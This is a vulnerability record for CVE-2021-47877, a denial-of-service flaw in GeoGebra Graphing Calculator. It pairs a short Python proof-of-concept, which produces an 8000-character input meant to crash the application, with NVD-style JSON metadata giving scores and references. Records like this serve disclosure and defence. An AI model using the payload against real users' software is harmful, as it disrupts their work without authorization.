CVE-2021-47877

#!/usr/bin/env python3 # CVE-2021-47877 PoC - GeoGebra Graphing Calculator DoS # Description: Generate payload to crash GeoGebra Graphing Calculator # by inputting oversized buffer (8000 repeated characters) def generate_payload(): # Generate 8000 repeated characters payload # This triggers buffer overflow in GeoGebra Graphing Calculator 6.0.631.0 payload_length = 8000 payload = 'A' * payload_length return payload def main(): payload = generate_payload() print(f"Generated DoS payload with {len(payload)} characters") print(f"Payload (first 100 chars): {payload[:100]}...") print("\n[!] Usage: Copy this payload and paste into GeoGebra input field") print("[!] This will cause the application to crash") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2021-47877", "sourceIdentifier": "[email protected]", "published": "2026-01-21T18:16:21.250", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "GeoGebra Graphing Calculator 6.0.631.0 contains a denial of service vulnerability that allows attackers to crash the application by inputting an oversized buffer. Attackers can generate a payload of 8000 repeated characters to overwhelm the input field and cause the application to become unresponsive."}, {"lang": "es", "value": "GeoGebra Graphing Calculator 6.0.631.0 contiene una vulnerabilidad de denegación de servicio que permite a los atacantes bloquear la aplicación al introducir un búfer sobredimensionado. Los atacantes pueden generar una carga útil de 8000 caracteres repetidos para saturar el campo de entrada y hacer que la aplicación deje de responder."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/49653", "source": "[email protected]"}, {"url": "https://www.geogebra.org", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/geogebra-graphing-calculator-denial-of-service", "source": "[email protected]"}]}}